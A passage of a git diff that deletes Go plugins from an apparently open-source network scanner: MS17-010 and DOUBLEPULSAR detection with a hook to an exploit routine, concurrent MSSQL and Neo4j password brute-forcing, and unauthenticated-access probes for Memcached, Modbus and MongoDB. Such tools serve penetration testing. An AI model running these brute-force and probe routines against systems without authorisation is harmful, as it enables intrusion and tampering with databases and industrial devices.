common.LogSuccess(fmt.Sprintf("发现漏洞 %s [%s] MS17-010", ip, os)) - } else { - common.LogSuccess(fmt.Sprintf("发现漏洞 %s MS17-010", ip)) - } - - // 保存 MS17-010 漏洞结果 - result := &output.ScanResult{ - Time: time.Now(), - Type: output.TypeVuln, - Target: ip, - Status: "vulnerable", - Details: details, - } - common.SaveResult(result) - - // DOUBLEPULSAR 后门检测 - trans2SessionSetupRequest[28] = treeID[0] - trans2SessionSetupRequest[29] = treeID[1] - trans2SessionSetupRequest[32] = userID[0] - trans2SessionSetupRequest[33] = userID[1] - - if _, err = conn.Write(trans2SessionSetupRequest); err != nil { - return fmt.Errorf("发送后门检测请求错误: %v", err) - } - - if n, err := conn.Read(reply); err != nil || n < 36 { - if err != nil { - return fmt.Errorf("读取后门检测响应错误: %v", err) - } - return fmt.Errorf("后门检测响应不完整") - } - - if reply[34] == 0x51 { - common.LogSuccess(fmt.Sprintf("发现后门 %s DOUBLEPULSAR", ip)) - - // 保存 DOUBLEPULSAR 后门结果 - backdoorResult := &output.ScanResult{ - Time: time.Now(), - Type: output.TypeVuln, - Target: ip, - Status: "backdoor", - Details: map[string]interface{}{ - "port": "445", - "type": "DOUBLEPULSAR", - "os": os, - }, - } - common.SaveResult(backdoorResult) - } - - // Shellcode 利用部分保持不变 - if common.Shellcode != "" { - defer MS17010EXP(info) - } - } else if os != "" { - common.LogBase(fmt.Sprintf("系统信息 %s [%s]", ip, os)) - - // 保存系统信息 - sysResult := &output.ScanResult{ - Time: time.Now(), - Type: output.TypeService, - Target: ip, - Status: "identified", - Details: map[string]interface{}{ - "port": "445", - "service": "smb", - "os": os, - }, - } - common.SaveResult(sysResult) - } - - return nil -} diff --git a/Plugins/MSSQL.go b/Plugins/MSSQL.go deleted file mode 100644 index 3fd62c4..0000000 --- a/Plugins/MSSQL.go +++ /dev/null @@ -1,333 +0,0 @@ -package Plugins - -import ( - "context" - "database/sql" - "fmt" - "net" - "strings" - "sync" - "time" - - mssql "github.com/denisenkom/go-mssqldb" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/output" -) - -// MSSQLProxyDialer 自定义dialer结构体 -type MSSQLProxyDialer struct { - timeout time.Duration -} - -// DialContext 实现mssql.Dialer接口,支持socks代理 -func (d *MSSQLProxyDialer) DialContext(ctx context.Context, network, addr string) (net.Conn, error) { - return common.WrapperTcpWithContext(ctx, network, addr) -} - -// MssqlCredential 表示一个MSSQL凭据 -type MssqlCredential struct { - Username string - Password string -} - -// MssqlScanResult 表示MSSQL扫描结果 -type MssqlScanResult struct { - Success bool - Error error - Credential MssqlCredential -} - -// MssqlScan 执行MSSQL服务扫描 -func MssqlScan(info *common.HostInfo) error { - if common.DisableBrute { - return nil - } - - target := fmt.Sprintf("%v:%v", info.Host, info.Ports) - common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) - - // 设置全局超时上下文 - ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second) - defer cancel() - - // 构建凭据列表 - var credentials []MssqlCredential - for _, user := range common.Userdict["mssql"] { - for _, pass := range common.Passwords { - actualPass := strings.Replace(pass, "{user}", user, -1) - credentials = append(credentials, MssqlCredential{ - Username: user, - Password: actualPass, - }) - } - } - - common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)", - len(common.Userdict["mssql"]), len(common.Passwords), len(credentials))) - - // 使用工作池并发扫描 - result := concurrentMssqlScan(ctx, info, credentials, common.Timeout, common.MaxRetries) - if result != nil { - // 记录成功结果 - saveMssqlResult(info, target, result.Credential) - return nil - } - - // 检查是否因为全局超时而退出 - select { - case <-ctx.Done(): - common.LogDebug("MSSQL扫描全局超时") - return fmt.Errorf("全局超时") - default: - common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials))) - return nil - } -} - -// concurrentMssqlScan 并发扫描MSSQL服务 -func concurrentMssqlScan(ctx context.Context, info *common.HostInfo, credentials []MssqlCredential, timeoutSeconds int64, maxRetries int) *MssqlScanResult { - // 使用ModuleThreadNum控制并发数 - maxConcurrent := common.ModuleThreadNum - if maxConcurrent <= 0 { - maxConcurrent = 10 // 默认值 - } - if maxConcurrent > len(credentials) { - maxConcurrent = len(credentials) - } - - // 创建工作池 - var wg sync.WaitGroup - resultChan := make(chan *MssqlScanResult, 1) - workChan := make(chan MssqlCredential, maxConcurrent) - scanCtx, scanCancel := context.WithCancel(ctx) - defer scanCancel() - - // 启动工作协程 - for i := 0; i < maxConcurrent; i++ { - wg.Add(1) - go func() { - defer wg.Done() - for credential := range workChan { - select { - case <-scanCtx.Done(): - return - default: - result := tryMssqlCredential(scanCtx, info, credential, timeoutSeconds, maxRetries) - if result.Success { - select { - case resultChan <- result: - scanCancel() // 找到有效凭据,取消其他工作 - default: - } - return - } - } - } - }() - } - - // 发送工作 - go func() { - for i, cred := range credentials { - select { - case <-scanCtx.Done(): - break - default: - common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password)) - workChan <- cred - } - } - close(workChan) - }() - - // 等待结果或完成 - go func() { - wg.Wait() - close(resultChan) - }() - - // 获取结果,考虑全局超时 - select { - case result, ok := <-resultChan: - if ok && result != nil && result.Success { - return result - } - return nil - case <-ctx.Done(): - common.LogDebug("MSSQL并发扫描全局超时") - scanCancel() // 确保取消所有未完成工作 - return nil - } -} - -// tryMssqlCredential 尝试单个MSSQL凭据 -func tryMssqlCredential(ctx context.Context, info *common.HostInfo, credential MssqlCredential, timeoutSeconds int64, maxRetries int) *MssqlScanResult { - var lastErr error - - for retry := 0; retry < maxRetries; retry++ { - select { - case <-ctx.Done(): - return &MssqlScanResult{ - Success: false, - Error: fmt.Errorf("全局超时"), - Credential: credential, - } - default: - if retry > 0 { - common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password)) - time.Sleep(500 * time.Millisecond) // 重试前等待 - } - - // 创建连接超时的上下文 - connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second) - success, err := MssqlConn(connCtx, info, credential.Username, credential.Password) - cancel() - - if success { - return &MssqlScanResult{ - Success: true, - Credential: credential, - } - } - - lastErr = err - if err != nil { - // 检查是否需要重试 - if retryErr := common.CheckErrs(err); retryErr == nil { - break // 不需要重试的错误 - } - } - } - } - - return &MssqlScanResult{ - Success: false, - Error: lastErr, - Credential: credential, - } -} - -// MssqlConn 尝试MSSQL连接 -func MssqlConn(ctx context.Context, info *common.HostInfo, user string, pass string) (bool, error) { - host, port, username, password := info.Host, info.Ports, user, pass - timeout := time.Duration(common.Timeout) * time.Second - - // 构造连接字符串 - connStr := fmt.Sprintf( - "server=%s;user id=%s;password=%s;port=%v;encrypt=disable;", - host, username, password, port, - ) - - // 检查是否需要使用socks代理 - if common.Socks5Proxy != "" { - // 使用自定义dialer创建连接器 - connector, err := mssql.NewConnector(connStr) - if err != nil { - return false, err - } - - // 设置自定义dialer - connector.Dialer = &MSSQLProxyDialer{ - timeout: time.Duration(common.Timeout) * time.Millisecond, - } - - // 使用连接器创建数据库连接 - db := sql.OpenDB(connector) - defer db.Close() - - // 设置连接参数 - db.SetConnMaxLifetime(timeout) - db.SetConnMaxIdleTime(timeout) - db.SetMaxIdleConns(0) - db.SetMaxOpenConns(1) - - // 通过上下文执行ping操作,以支持超时控制 - pingCtx, pingCancel := context.WithTimeout(ctx, timeout) - defer pingCancel() - - errChan := make(chan error, 1) - go func() { - errChan <- db.PingContext(pingCtx) - }() - - // 等待ping结果或者超时 - select { - case err := <-errChan: - if err != nil { - return false, err - } - return true, nil - case <-ctx.Done(): - // 全局超时或取消 - return false, ctx.Err() - case <-pingCtx.Done(): - if pingCtx.Err() == context.DeadlineExceeded { - // 单个连接超时 - return false, fmt.Errorf("连接超时") - } - return false, pingCtx.Err() - } - } - - // 使用标准连接方式 - db, err := sql.Open("mssql", connStr) - if err != nil { - return false, err - } - defer db.Close() - - // 设置连接参数 - db.SetConnMaxLifetime(timeout) - db.SetConnMaxIdleTime(timeout) - db.SetMaxIdleConns(0) - db.SetMaxOpenConns(1) - - // 通过上下文执行ping操作,以支持超时控制 - pingCtx, pingCancel := context.WithTimeout(ctx, timeout) - defer pingCancel() - - errChan := make(chan error, 1) - go func() { - errChan <- db.PingContext(pingCtx) - }() - - // 等待ping结果或者超时 - select { - case err := <-errChan: - if err != nil { - return false, err - } - return true, nil - case <-ctx.Done(): - // 全局超时或取消 - return false, ctx.Err() - case <-pingCtx.Done(): - if pingCtx.Err() == context.DeadlineExceeded { - // 单个连接超时 - return false, fmt.Errorf("连接超时") - } - return false, pingCtx.Err() - } -} - -// saveMssqlResult 保存MSSQL扫描结果 -func saveMssqlResult(info *common.HostInfo, target string, credential MssqlCredential) { - successMsg := fmt.Sprintf("MSSQL %s %v %v", target, credential.Username, credential.Password) - common.LogSuccess(successMsg) - - // 保存结果 - vulnResult := &output.ScanResult{ - Time: time.Now(), - Type: output.TypeVuln, - Target: info.Host, - Status: "vulnerable", - Details: map[string]interface{}{ - "port": info.Ports, - "service": "mssql", - "username": credential.Username, - "password": credential.Password, - "type": "weak-password", - }, - } - common.SaveResult(vulnResult) -} diff --git a/Plugins/Memcached.go b/Plugins/Memcached.go deleted file mode 100644 index cbc663e..0000000 --- a/Plugins/Memcached.go +++ /dev/null @@ -1,161 +0,0 @@ -package Plugins - -import ( - "context" - "fmt" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/output" - "strings" - "time" -) - -// MemcachedScanResult 表示Memcached扫描结果 -type MemcachedScanResult struct { - Success bool - Error error - Stats string -} - -// MemcachedScan 检测Memcached未授权访问 -func MemcachedScan(info *common.HostInfo) error { - // 设置全局超时上下文 - ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second) - defer cancel() - - realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) - common.LogDebug(fmt.Sprintf("开始扫描 Memcached %s", realhost)) - - // 尝试连接并检查未授权访问 - result := tryMemcachedConnection(ctx, info, common.Timeout) - - if result.Success { - // 保存成功结果 - scanResult := &output.ScanResult{ - Time: time.Now(), - Type: output.TypeVuln, - Target: info.Host, - Status: "vulnerable", - Details: map[string]interface{}{ - "port": info.Ports, - "service": "memcached", - "type": "unauthorized-access", - "description": "Memcached unauthorized access", - "stats": result.Stats, - }, - } - common.SaveResult(scanResult) - common.LogSuccess(fmt.Sprintf("Memcached %s 未授权访问", realhost)) - } - - // 检查是否因为全局超时而退出 - select { - case <-ctx.Done(): - if ctx.Err() == context.DeadlineExceeded { - common.LogDebug("Memcached扫描全局超时") - return fmt.Errorf("全局超时") - } - default: - } - - common.LogDebug(fmt.Sprintf("Memcached扫描完成: %s", realhost)) - return result.Error -} - -// tryMemcachedConnection 尝试连接Memcached并检查未授权访问 -func tryMemcachedConnection(ctx context.Context, info *common.HostInfo, timeoutSeconds int64) *MemcachedScanResult { - realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) - timeout := time.Duration(timeoutSeconds) * time.Second - - // 创建结果通道 - resultChan := make(chan *MemcachedScanResult, 1) - - // 创建连接上下文,带超时 - connCtx, connCancel := context.WithTimeout(ctx, timeout) - defer connCancel() - - // 在协程中尝试连接 - go func() { - // 构建结果结构 - result := &MemcachedScanResult{ - Success: false, - Error: nil, - Stats: "", - } - - // 建立TCP连接 - client, err := common.WrapperTcpWithTimeout("tcp", realhost, timeout) - if err != nil { - result.Error = err - select { - case <-connCtx.Done(): - case resultChan <- result: - } - return - } - defer client.Close() - - // 设置操作截止时间 - if err := client.SetDeadline(time.Now().Add(timeout)); err != nil { - result.Error = err - select { - case <-connCtx.Done(): - case resultChan <- result: - } - return - } - - // 发送stats命令 - if _, err := client.Write([]byte("stats\n")); err != nil { - result.Error = err - select { - case <-connCtx.Done(): - case resultChan <- result: - } - return - } - - // 读取响应 - rev := make([]byte, 1024) - n, err := client.Read(rev) - if err != nil { - result.Error = err - select { - case <-connCtx.Done(): - case resultChan <- result: - } - return - } - - // 检查响应是否包含统计信息 - response := string(rev[:n]) - if strings.Contains(response, "STAT") { - result.Success = true - result.Stats = response - } - - // 发送结果 - select { - case <-connCtx.Done(): - case resultChan <- result: - } - }() - - // 等待结果或上下文取消 - select { - case result := <-resultChan: - return result - case <-connCtx.Done(): - if ctx.Err() != nil { - // 全局上下文取消 - return &MemcachedScanResult{ - Success: false, - Error: ctx.Err(), - } - } - // 连接超时 - return &MemcachedScanResult{ - Success: false, - Error: fmt.Errorf("连接超时"), - } - } -} diff --git a/Plugins/Modbus.go b/Plugins/Modbus.go deleted file mode 100644 index de02c50..0000000 --- a/Plugins/Modbus.go +++ /dev/null @@ -1,274 +0,0 @@ -package Plugins - -import ( - "context" - "encoding/binary" - "fmt" - "time" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/output" -) - -// ModbusScanResult 表示 Modbus 扫描结果 -type ModbusScanResult struct { - Success bool - DeviceInfo string - Error error -} - -// ModbusScan 执行 Modbus 服务扫描 -func ModbusScan(info *common.HostInfo) error { - target := fmt.Sprintf("%s:%s", info.Host, info.Ports) - common.LogDebug(fmt.Sprintf("开始 Modbus 扫描: %s", target)) - - // 设置全局超时上下文 - ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second) - defer cancel() - - // 执行扫描 - result := tryModbusScan(ctx, info, common.Timeout, common.MaxRetries) - - if result.Success { - // 保存扫描结果 - saveModbusResult(info, target, result) - return nil - } - - // 检查是否因为全局超时而退出 - select { - case <-ctx.Done(): - common.LogDebug("Modbus 扫描全局超时") - return fmt.Errorf("全局超时") - default: - if result.Error != nil { - common.LogDebug(fmt.Sprintf("Modbus 扫描失败: %v", result.Error)) - return result.Error - } - common.LogDebug("Modbus 扫描完成,未发现服务") - return nil - } -} - -// tryModbusScan 尝试单个 Modbus 扫描 -func tryModbusScan(ctx context.Context, info *common.HostInfo, timeoutSeconds int64, maxRetries int) *ModbusScanResult { - var lastErr error - host, port := info.Host, info.Ports - target := fmt.Sprintf("%s:%s", host, port) - - for retry := 0; retry < maxRetries; retry++ { - select { - case <-ctx.Done(): - return &ModbusScanResult{ - Success: false, - Error: fmt.Errorf("全局超时"), - } - default: - if retry > 0 { - common.LogDebug(fmt.Sprintf("第%d次重试 Modbus 扫描: %s", retry+1, target)) - time.Sleep(500 * time.Millisecond) // 重试前等待 - } - - // 创建单个连接超时的上下文 - connCtx, connCancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second) - - // 创建结果通道 - resultChan := make(chan *ModbusScanResult, 1) - - // 在协程中执行扫描 - go func() { - // 尝试建立连接 - conn, err := common.WrapperTcpWithContext(connCtx, "tcp", target) - if err != nil { - select { - case <-connCtx.Done(): - case resultChan <- &ModbusScanResult{Success: false, Error: err}: - } - return - } - defer conn.Close() - - // 构造 Modbus TCP 请求包 - 读取设备ID - request := buildModbusRequest() - - // 设置读写超时 - conn.SetDeadline(time.Now().Add(time.Duration(timeoutSeconds) * time.Second)) - - // 发送请求 - _, err = conn.Write(request) - if err != nil { - select { - case <-connCtx.Done(): - case resultChan <- &ModbusScanResult{ - Success: false, - Error: fmt.Errorf("发送Modbus请求失败: %v", err), - }: - } - return - } - - // 读取响应 - response := make([]byte, 256) - n, err := conn.Read(response) - if err != nil { - select { - case <-connCtx.Done(): - case resultChan <- &ModbusScanResult{ - Success: false, - Error: fmt.Errorf("读取Modbus响应失败: %v", err), - }: - } - return - } - - // 验证响应 - if isValidModbusResponse(response[:n]) { - // 获取设备信息 - deviceInfo := parseModbusResponse(response[:n]) - select { - case <-connCtx.Done(): - case resultChan <- &ModbusScanResult{ - Success: true, - DeviceInfo: deviceInfo, - }: - } - return - } - - select { - case <-connCtx.Done(): - case resultChan <- &ModbusScanResult{ - Success: false, - Error: fmt.Errorf("非Modbus服务或访问被拒绝"), - }: - } - }() - - // 等待扫描结果或超时 - var result *ModbusScanResult - select { - case res := <-resultChan: - result = res - case <-connCtx.Done(): - if ctx.Err() != nil { - connCancel() - return &ModbusScanResult{ - Success: false, - Error: ctx.Err(), - } - } - result = &ModbusScanResult{ - Success: false, - Error: fmt.Errorf("连接超时"), - } - } - - connCancel() - - if result.Success { - return result - } - - lastErr = result.Error - if result.Error != nil { - // 检查是否需要重试 - if retryErr := common.CheckErrs(result.Error); retryErr == nil { - break // 不需要重试的错误 - } - } - } - } - - return &ModbusScanResult{ - Success: false, - Error: lastErr, - } -} - -// buildModbusRequest 构建Modbus TCP请求包 -func buildModbusRequest() []byte { - request := make([]byte, 12) - - // Modbus TCP头部 - binary.BigEndian.PutUint16(request[0:], 0x0001) // 事务标识符 - binary.BigEndian.PutUint16(request[2:], 0x0000) // 协议标识符 - binary.BigEndian.PutUint16(request[4:], 0x0006) // 长度 - request[6] = 0x01 // 单元标识符 - - // Modbus 请求 - request[7] = 0x01 // 功能码: Read Coils - binary.BigEndian.PutUint16(request[8:], 0x0000) // 起始地址 - binary.BigEndian.PutUint16(request[10:], 0x0001) // 读取数量 - - return request -} - -// isValidModbusResponse 验证Modbus响应是否有效 -func isValidModbusResponse(response []byte) bool { - if len(response) < 9 { - return false - } - - // 检查协议标识符 - protocolID := binary.BigEndian.Uint16(response[2:]) - if protocolID != 0 { - return false - } - - // 检查功能码 - funcCode := response[7] - if funcCode == 0x81 { // 错误响应 - return false - } - - return true -} - -// parseModbusResponse 解析Modbus响应获取设备信息 -func parseModbusResponse(response []byte) string { - if len(response) < 9 { - return "" - } - - // 提取更多设备信息 - unitID := response[6] - funcCode := response[7] - - // 简单的设备信息提取,实际应用中可以提取更多信息 - info := fmt.Sprintf("Unit ID: %d, Function: 0x%02X", unitID, funcCode) - - // 如果是读取线圈响应,尝试解析线圈状态 - if funcCode == 0x01 && len(response) >= 10 { - byteCount := response[8] - if byteCount > 0 && len(response) >= 9+int(byteCount) { - coilValue := response[9] & 0x01 // 获取第一个线圈状态 - info += fmt.Sprintf(", Coil Status: %d", coilValue) - } - } - - return info -} - -// saveModbusResult 保存Modbus扫描结果 -func saveModbusResult(info *common.HostInfo, target string, result *ModbusScanResult) { - // 保存扫描结果 - scanResult := &output.ScanResult{ - Time: time.Now(), - Type: output.TypeVuln, - Target: info.Host, - Status: "vulnerable", - Details: map[string]interface{}{ - "port": info.Ports, - "service": "modbus", - "type": "unauthorized-access", - "device_info": result.DeviceInfo, - }, - } - common.SaveResult(scanResult) - - // 控制台输出 - common.LogSuccess(fmt.Sprintf("Modbus服务 %s 无认证访问", target)) - if result.DeviceInfo != "" { - common.LogSuccess(fmt.Sprintf("设备信息: %s", result.DeviceInfo)) - } -} diff --git a/Plugins/Mongodb.go b/Plugins/Mongodb.go deleted file mode 100644 index 546be1a..0000000 --- a/Plugins/Mongodb.go +++ /dev/null @@ -1,191 +0,0 @@ -package Plugins - -import ( - "context" - "fmt" - "io" - "strings" - "time" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/output" -) - -// MongodbScan 执行MongoDB未授权扫描 -func MongodbScan(info *common.HostInfo) error { - if common.DisableBrute { - return nil - } - - target := fmt.Sprintf("%s:%v", info.Host, info.Ports) - common.LogDebug(fmt.Sprintf("开始MongoDB扫描: %s", target)) - - // 设置全局超时上下文 - ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second) - defer cancel() - - // 创建结果通道 - resultChan := make(chan struct { - isUnauth bool - err error - }, 1) - - // 在协程中执行扫描 - go func() { - isUnauth, err := MongodbUnauth(ctx, info) - select { - case <-ctx.Done(): - case resultChan <- struct { - isUnauth bool - err error - }{isUnauth, err}: - } - }() - - // 等待结果或超时 - select { - case result := <-resultChan: - if result.err != nil { - errlog := fmt.Sprintf("MongoDB %v %v", target, result.err) - common.LogError(errlog) - return result.err - } else if result.isUnauth { - // 记录控制台输出 - common.LogSuccess(fmt.Sprintf("MongoDB %v 未授权访问", target)) - - // 保存未授权访问结果 - scanResult := &output.ScanResult{ - Time: time.Now(), - Type: output.TypeVuln, - Target: info.Host, - Status: "vulnerable", - Details: map[string]interface{}{ - "port": info.Ports, - "service": "mongodb", - "type": "unauthorized-access", - "protocol": "mongodb", - }, - } - common.SaveResult(scanResult) - } else { - common.LogDebug(fmt.Sprintf("MongoDB %v 需要认证", target)) - } - return nil - case <-ctx.Done(): - common.LogError(fmt.Sprintf("MongoDB扫描超时: %s", target)) - return fmt.Errorf("全局超时") - } -} - -// MongodbUnauth 检测MongoDB未授权访问 -func MongodbUnauth(ctx context.Context, info *common.HostInfo) (bool, error) { - msgPacket := createOpMsgPacket() - queryPacket := createOpQueryPacket() - - realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) - common.LogDebug(fmt.Sprintf("检测MongoDB未授权访问: %s", realhost)) - - // 尝试OP_MSG查询 - common.LogDebug("尝试使用OP_MSG协议") - reply, err := checkMongoAuth(ctx, realhost, msgPacket) - if err != nil { - common.LogDebug(fmt.Sprintf("OP_MSG查询失败: %v, 尝试使用OP_QUERY协议", err)) - // 失败则尝试OP_QUERY查询 - reply, err = checkMongoAuth(ctx, realhost, queryPacket) - if err != nil { - common.LogDebug(fmt.Sprintf("OP_QUERY查询也失败: %v", err)) - return false, err - } - } - - // 检查响应结果 - common.LogDebug(fmt.Sprintf("收到响应,长度: %d", len(reply))) - if strings.Contains(reply, "totalLinesWritten") { - common.LogDebug("响应中包含totalLinesWritten,确认未授权访问") - return true, nil - } - - common.LogDebug("响应未包含预期内容,可能需要认证") - return false, nil -} - -// checkMongoAuth 检查MongoDB认证状态 -func checkMongoAuth(ctx context.Context, address string, packet []byte) (string, error) { - common.LogDebug(fmt.Sprintf("建立MongoDB连接: %s", address)) - - // 使用带超时的连接 - conn, err := common.WrapperTcpWithTimeout("tcp", address, time.Duration(common.Timeout)*time.Second) - if err != nil { - return "", fmt.Errorf("连接失败: %v", err) - } - defer conn.Close() - - // 检查上下文是否已取消 - select { - case <-ctx.Done(): - return "", ctx.Err() - default: - } - - // 设置读写超时 - if err := conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)); err != nil { - return "", fmt.Errorf("设置超时失败: %v", err) - } - - // 发送查询包 - common.LogDebug("发送查询包") - if _, err := conn.Write(packet); err != nil { - return "", fmt.Errorf("发送查询失败: %v", err) - } - - // 再次检查上下文是否已取消 - select { - case <-ctx.Done(): - return "", ctx.Err() - default: - } - - // 读取响应 - common.LogDebug("读取响应") - reply := make([]byte, 2048) - count, err := conn.Read(reply) - if err != nil && err != io.EOF { - return "", fmt.Errorf("读取响应失败: %v", err) - } - - if count == 0 { - return "", fmt.Errorf("收到空响应") - } - - common.LogDebug(fmt.Sprintf("成功接收响应,字节数: %d", count)) - return string(reply[:count]), nil -} - -// createOpMsgPacket 创建OP_MSG查询包 -func createOpMsgPacket() []byte { - return []byte{ - 0x69, 0x00, 0x00, 0x00, // messageLength - 0x39, 0x00, 0x00, 0x00, // requestID - 0x00, 0x00, 0x00, 0x00, // responseTo - 0xdd, 0x07, 0x00, 0x00, // opCode OP_MSG - 0x00, 0x00, 0x00, 0x00, // flagBits - // sections db.adminCommand({getLog: "startupWarnings"}) - 0x00, 0x54, 0x00, 0x00, 0x00, 0x02, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x67, 0x00, 0x10, 0x00, 0x00, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x57, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x02, 0x24, 0x64, 0x62, 0x00, 0x06, 0x00, 0x00, 0x00, 0x61, 0x64, 0x6d, 0x69, 0x6e, 0x00, 0x03, 0x6c, 0x73, 0x69, 0x64, 0x00, 0x1e, 0x00, 0x00, 0x00, 0x05, 0x69, 0x64, 0x00, 0x10, 0x00, 0x00, 0x00, 0x04, 0x6e, 0x81, 0xf8, 0x8e, 0x37, 0x7b, 0x4c, 0x97, 0x84, 0x4e, 0x90, 0x62, 0x5a, 0x54, 0x3c, 0x93, 0x00, 0x00, - } -} - -// createOpQueryPacket 创建OP_QUERY查询包 -func createOpQueryPacket() []byte { - return []byte{ - 0x48, 0x00, 0x00, 0x00, // messageLength - 0x02, 0x00, 0x00, 0x00, // requestID - 0x00, 0x00, 0x00, 0x00, // responseTo - 0xd4, 0x07, 0x00, 0x00, // opCode OP_QUERY - 0x00, 0x00, 0x00, 0x00, // flags - 0x61, 0x64, 0x6d, 0x69, 0x6e, 0x2e, 0x24, 0x63, 0x6d, 0x64, 0x00, // fullCollectionName admin.$cmd - 0x00, 0x00, 0x00, 0x00, // numberToSkip - 0x01, 0x00, 0x00, 0x00, // numberToReturn - // query db.adminCommand({getLog: "startupWarnings"}) - 0x21, 0x00, 0x00, 0x00, 0x2, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x67, 0x00, 0x10, 0x00, 0x00, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x57, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x00, - } -} diff --git a/Plugins/MySQL.go b/Plugins/MySQL.go deleted file mode 100644 index 3d1d98a..0000000 --- a/Plugins/MySQL.go +++ /dev/null @@ -1,19 +0,0 @@ -package Plugins - -import ( - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins/adapter" -) - -// MysqlScan 执行MySQL服务扫描 -// 现在完全使用新的插件架构 -func MysqlScan(info *common.HostInfo) error { - // 使用新的插件架构 - if adapter.TryNewArchitecture("mysql", info) { - return nil // 新架构处理成功 - } - - // 如果新架构不支持,记录错误(理论上不应该发生) - common.LogError("MySQL插件新架构不可用,请检查插件注册") - return nil -} \ No newline at end of file diff --git a/Plugins/Neo4j.go b/Plugins/Neo4j.go deleted file mode 100644 index 78d7e7f..0000000 --- a/Plugins/Neo4j.go +++ /dev/null @@ -1,361 +0,0 @@ -package Plugins - -import ( - "context" - "fmt" - "strings" - "sync" - "time" - - "github.com/neo4j/neo4j-go-driver/v4/neo4j" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/output" -) - -// Neo4jCredential 表示一个Neo4j凭据 -type Neo4jCredential struct { - Username string - Password string -} - -// Neo4jScanResult 表示Neo4j扫描结果 -type Neo4jScanResult struct { - Success bool - Error error - Credential Neo4jCredential - IsUnauth bool - IsDefaultCreds bool -} - -func Neo4jScan(info *common.HostInfo) error { - if common.DisableBrute { - return nil - } - - target := fmt.Sprintf("%v:%v", info.Host, info.Ports) - common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) - - // 设置全局超时上下文 - ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second) - defer cancel() - - // 初始检查列表 - 无认证和默认凭证 - initialCredentials := []Neo4jCredential{ - {"", ""}, // 无认证 - {"neo4j", "neo4j"}, // 默认凭证 - } - - // 先检查无认证和默认凭证 - common.LogDebug("尝试默认凭证...") - for _, credential := range initialCredentials { - common.LogDebug(fmt.Sprintf("尝试: %s:%s", credential.Username, credential.Password)) - - result := tryNeo4jCredential(ctx, info, credential, common.Timeout, 1) - if result.Success { - // 标记结果类型 - if credential.Username == "" && credential.Password == "" { - result.IsUnauth = true - } else { - result.IsDefaultCreds = true - } - - // 保存结果 - saveNeo4jResult(info, target, result) - return nil - } - } - - // 构建凭据列表 - var credentials []Neo4jCredential - for _, user := range common.Userdict["neo4j"] { - for _, pass := range common.Passwords { - actualPass := strings.Replace(pass, "{user}", user, -1) - credentials = append(credentials, Neo4jCredential{ - Username: user, - Password: actualPass, - }) - } - } - - common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)", - len(common.Userdict["neo4j"]), len(common.Passwords), len(credentials))) - - // 使用工作池并发扫描 - result := concurrentNeo4jScan(ctx, info, credentials, common.Timeout, common.MaxRetries) - if result != nil { - // 记录成功结果 - saveNeo4jResult(info, target, result) - return nil - } - - // 检查是否因为全局超时而退出 - select { - case <-ctx.Done(): - common.LogDebug("Neo4j扫描全局超时") - return fmt.Errorf("全局超时") - default: - common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+len(initialCredentials))) - return nil - } -} - -// concurrentNeo4jScan 并发扫描Neo4j服务 -func concurrentNeo4jScan(ctx context.Context, info *common.HostInfo, credentials []Neo4jCredential, timeoutSeconds int64, maxRetries int) *Neo4jScanResult { - // 使用ModuleThreadNum控制并发数 - maxConcurrent := common.ModuleThreadNum - if maxConcurrent <= 0 { - maxConcurrent = 10 // 默认值 - } - if maxConcurrent > len(credentials) { - maxConcurrent = len(credentials) - } - - // 创建工作池 - var wg sync.WaitGroup - resultChan := make(chan *Neo4jScanResult, 1) - workChan := make(chan Neo4jCredential, maxConcurrent) - scanCtx, scanCancel := context.WithCancel(ctx) - defer scanCancel() - - // 启动工作协程 - for i := 0; i < maxConcurrent; i++ { - wg.Add(1) - go func() { - defer wg.Done() - for credential := range workChan { - select { - case <-scanCtx.Done(): - return - default: - result := tryNeo4jCredential(scanCtx, info, credential, timeoutSeconds, maxRetries) - if result.Success { - select { - case resultChan <- result: - scanCancel() // 找到有效凭据,取消其他工作 - default: - } - return - } - } - } - }() - } - - // 发送工作 - go func() { - for i, cred := range credentials { - select { - case <-scanCtx.Done(): - break - default: - common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password)) - workChan <- cred - } - } - close(workChan) - }() - - // 等待结果或完成 - go func() { - wg.Wait() - close(resultChan) - }() - - // 获取结果,考虑全局超时 - select { - case result, ok := <-resultChan: 